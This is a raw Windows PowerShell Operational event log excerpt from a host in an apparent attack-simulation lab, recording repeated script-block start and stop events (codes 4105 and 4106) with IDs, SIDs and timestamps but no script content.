Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026791
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026790
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026789
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026788
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026771
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026766
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026765
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
